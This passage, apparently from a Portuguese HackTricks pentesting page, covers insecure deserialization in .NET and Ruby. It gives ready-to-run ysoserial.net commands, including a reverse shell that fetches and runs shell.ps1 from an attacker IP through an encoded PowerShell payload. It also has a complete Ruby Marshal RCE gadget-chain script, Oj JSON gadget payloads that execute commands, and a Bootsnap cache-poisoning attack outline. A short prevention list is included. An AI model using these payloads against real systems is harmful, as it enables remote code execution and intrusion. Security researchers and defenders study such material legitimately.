A busca deve mirar na Base64 encoded string AAEAAAD///// ou qualquer padrão similar que possa sofrer deserialization no lado do servidor, concedendo controle sobre o tipo a ser deserializado. Isso pode incluir, mas não se limita a, estruturas JSON ou XML contendo TypeObject ou $type.

ysoserial.net

Nesse caso você pode usar a ferramenta ysoserial.net para criar os exploits de deserialization. Uma vez que você baixar o repositório git você deve compilar a ferramenta usando Visual Studio por exemplo.

Se você quiser aprender sobre como ysoserial.net cria seus exploits você pode ver esta página onde é explicado o ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.

As opções principais do ysoserial.net são: --gadget, --formatter, --output e --plugin.

  • --gadget usado para indicar o gadget a abusar (indicar a classe/função que será abusada durante a deserialization para executar comandos).
  • --formatter, usado para indicar o método para serializar o exploit (você precisa saber qual biblioteca o back-end está usando para desserializar o payload e usar a mesma para serializá-lo)
  • --output usado para indicar se você quer o exploit em raw ou base64 encoded. Note que ysoserial.net irá encode o payload usando UTF-16LE (encoding usado por padrão no Windows) então se você pegar o raw e apenas encode a partir de um console linux você pode ter alguns encoding compatibility problems que vão impedir o exploit de funcionar corretamente (no HTB JSON box o payload funcionou tanto em UTF-16LE quanto em ASCII mas isso não significa que sempre vai funcionar).
  • --plugin ysoserial.net suporta plugins para criar exploits para frameworks específicos como ViewState

More ysoserial.net parameters

  • --minify irá fornecer um payload menor (se possível)
  • --raf -f Json.Net -c "anything" Isso irá indicar todos os gadgets que podem ser usados com um formatter fornecido (Json.Net neste caso)
  • --sf xml você pode indicar um gadget (-g) e ysoserial.net irá buscar por formatters contendo "xml" (case insensitive)

ysoserial examples to create exploits:

bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net também tem um parâmetro muito interessante que ajuda a entender melhor como cada exploit funciona: --test
Se você indicar esse parâmetro, ysoserial.net irá tentar o exploit localmente, assim você pode testar se seu payload funcionará corretamente.
Esse parâmetro é útil porque, se você revisar o código, encontrará trechos de código como o seguinte (do ObjectDataProviderGenerator.cs):

java
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Isso significa que, para testar o exploit, o código chamará serializersHelper.JsonNet_deserialize

java
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

No exemplo anterior o código é vulnerável ao exploit criado. Portanto, se você encontrar algo similar em uma aplicação .Net, isso provavelmente significa que essa aplicação também é vulnerável.
Portanto o --test permite-nos entender quais trechos de código são vulneráveis ao exploit de desserialização que ysoserial.net pode criar.

ViewState

Veja this POST about how to try to exploit the __ViewState parameter of .Net para executar código arbitrário. Se você já conhece os segredos usados pela máquina vítima, read this post to know to execute code.

Prevention

Para mitigar os riscos associados à desserialização em .Net:

  • Evite permitir que fluxos de dados definam seus tipos de objeto. Utilize DataContractSerializer ou XmlSerializer quando possível.
  • Para JSON.Net, defina TypeNameHandling para None: TypeNameHandling = TypeNameHandling.None
  • Evite usar JavaScriptSerializer com um JavaScriptTypeResolver.
  • Limite os tipos que podem ser desserializados, entendendo os riscos inerentes aos tipos .Net, como System.IO.FileInfo, que podem modificar propriedades de arquivos do servidor, potencialmente causando ataques de negação de serviço.
  • Tenha cautela com tipos que possuem propriedades arriscadas, como System.ComponentModel.DataAnnotations.ValidationException com sua propriedade Value, que pode ser explorada.
  • Controle de forma segura a instanciação de tipos para evitar que atacantes influenciem o processo de desserialização, tornando até mesmo DataContractSerializer ou XmlSerializer vulneráveis.
  • Implemente controles de lista branca usando um SerializationBinder customizado para BinaryFormatter e JSON.Net.
  • Mantenha-se informado sobre gadgets de desserialização conhecidos como inseguros dentro do .Net e assegure que os desserializadores não instanciem tais tipos.
  • Isole código potencialmente arriscado do código que possui acesso à internet para evitar expor gadgets conhecidos, como System.Windows.Data.ObjectDataProvider em aplicações WPF, a fontes de dados não confiáveis.

References

Ruby

Em Ruby, a serialização é facilitada por dois métodos dentro da biblioteca marshal. O primeiro método, conhecido como dump, é usado para transformar um objeto em um fluxo de bytes. Esse processo é chamado de serialização. Em contrapartida, o segundo método, load, é empregado para reverter um fluxo de bytes de volta a um objeto, um processo conhecido como desserialização.

Para proteger objetos serializados, Ruby usa HMAC (Hash-Based Message Authentication Code), garantindo a integridade e autenticidade dos dados. A chave utilizada para esse propósito é armazenada em um dos seguintes locais:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X cadeia genérica de desserialização para RCE gadget chain (mais info em https://www.elttam.com/blog/ruby-deserialization/):

ruby
#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Outra cadeia RCE para explorar Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() method

Como explicado em this vulnerability report, se alguma entrada não sanitizada do usuário chegar ao método .send() de um objeto ruby, esse método permite invocar qualquer outro método do objeto com quaisquer parâmetros.

Por exemplo, chamar eval e então código ruby como segundo parâmetro permitirá executar código arbitrário:

ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE

Além disso, se apenas um parâmetro de .send() for controlado por um attacker, como mencionado no writeup anterior, é possível chamar qualquer método do objeto que não precise de argumentos ou cujos argumentos tenham valores padrão.
Para isso, é possível enumerar todos os métodos do objeto para encontrar alguns métodos interessantes que satisfaçam esses requisitos.

ruby
<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

Veja como é possível polluir uma classe Ruby e abusar dela aqui.

Ruby _json pollution

Ao enviar no body alguns valores não hashabled, como um array, eles serão adicionados em uma nova chave chamada _json. No entanto, é possível que um atacante também defina no body um valor chamado _json com os valores arbitrários que desejar. Então, se o backend, por exemplo, verifica a veracidade de um parâmetro mas depois também usa o parâmetro _json para executar alguma ação, um bypass de autorização pode ser realizado.

Veja mais informações na Ruby _json pollution page.

Outras bibliotecas

Esta técnica foi retirada deste post do blog.

Existem outras bibliotecas Ruby que podem ser usadas para serializar objetos e, portanto, que poderiam ser abusadas para obter RCE durante uma desserialização insegura. A tabela a seguir mostra algumas dessas bibliotecas e o método que é chamado da biblioteca carregada sempre que ela é desserializada (a função a abusar para obter RCE, basicamente):

LibraryInput dataKick-off method inside class
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

Basic example:

ruby
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

No caso de tentar abusar do Oj, foi possível encontrar uma gadget class que, dentro da sua função hash, chamava to_s, que chamava spec, que chamava fetch_path — o que permitia que ela buscasse uma URL aleatória, fornecendo um ótimo detector desse tipo de vulnerabilidades de desserialização não sanitizadas.

json
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

Além disso, foi encontrado que com a técnica anterior também é criada uma pasta no sistema, o que é um requisito para abusar de outro gadget para transformar isso em um RCE completo com algo como:

json
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Consulte mais detalhes no original post.

Cache do Bootstrap

Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).

Abaixo está um breve resumo dos passos detalhados no artigo para explorar uma arbitrary file write vulnerability abusando do Bootsnap caching:

  • Identify the Vulnerability and Environment

A funcionalidade de upload de arquivos da aplicação Rails permite que um atacante escreva arquivos arbitrariamente. Embora a app rode com restrições (apenas certos diretórios como tmp são graváveis devido ao Docker’s non-root user), isso ainda permite escrever no diretório de cache do Bootsnap (tipicamente em tmp/cache/bootsnap).

  • Understand Bootsnap’s Cache Mechanism

Bootsnap speeds up Rails boot times by caching compiled Ruby code, YAML, and JSON files. Ele armazena arquivos de cache que incluem um cache key header (com campos como Ruby version, file size, mtime, compile options, etc.) seguido pelo código compilado. Esse header é usado para validar o cache durante o startup da app.

  • Gather File Metadata

O atacante primeiro seleciona um arquivo alvo que provavelmente é carregado durante o startup do Rails (por exemplo, set.rb da standard library do Ruby). Executando código Ruby dentro do container, eles extraem metadados críticos (como RUBY_VERSION, RUBY_REVISION, size, mtime, e compile_option). Esses dados são essenciais para confeccionar um cache key válido.

  • Compute the Cache File Path

Ao replicar o mecanismo de hash FNV-1a 64-bit do Bootsnap, determina-se o caminho correto do arquivo de cache. Esse passo garante que o arquivo de cache malicioso seja colocado exatamente onde o Bootsnap espera (por exemplo, under tmp/cache/bootsnap/compile-cache-iseq/).

  • Craft the Malicious Cache File

O atacante prepara um payload que:

  • Executes arbitrary commands (for example, running id to show process info).
  • Removes the malicious cache after execution to prevent recursive exploitation.
  • Loads the original file (e.g., set.rb) to avoid crashing the application.

Esse payload é compilado em código Ruby binário e concatenado com um cache key header cuidadosamente construído (usando os metadados coletados anteriormente e o número de versão correto do Bootsnap).

  • Overwrite and Trigger Execution

Usando a arbitrary file write vulnerability, o atacante escreve o arquivo de cache craftado no local calculado. Em seguida, eles acionam um restart do servidor (escrevendo em tmp/restart.txt, que é monitorado pelo Puma). Durante o restart, quando Rails requires o arquivo alvo, o arquivo de cache malicioso é carregado, resultando em RCE.

Ruby Marshal exploitation in practice (updated)

Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.

  • Minimal vulnerable Rails code path:
ruby
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • Classes comuns de gadget vistas em chains reais: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • Marcador típico de side-effect embutido em payloads (executado durante unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Where it surfaces in real apps:

  • Armazenamentos de cache e de sessão do Rails historicamente usando Marshal
  • Backends de background jobs e object stores baseados em arquivo
  • Qualquer persistência customizada ou transporte de blobs binários de objetos

Industrialized gadget discovery:

  • Fazer grep por construtores, hash, _load, init_with, ou métodos com efeitos colaterais invocados durante unmarshal
  • Use as queries do CodeQL para Ruby unsafe deserialization para rastrear sources → sinks e expor gadgets
  • Valide com PoCs públicas multi-formato (JSON/XML/YAML/Marshal)

Referências

  • Trail of Bits – Marshal madness: Uma breve história dos exploits de deserialização em Ruby: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Cadeia de gadgets de deserialização Universal RCE do Ruby 2.x: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 deserialização insegura): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage por deserialização insegura: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Descobrindo cadeias de gadgets em Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (ajuda de query): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – repositório de PoCs: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditando RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks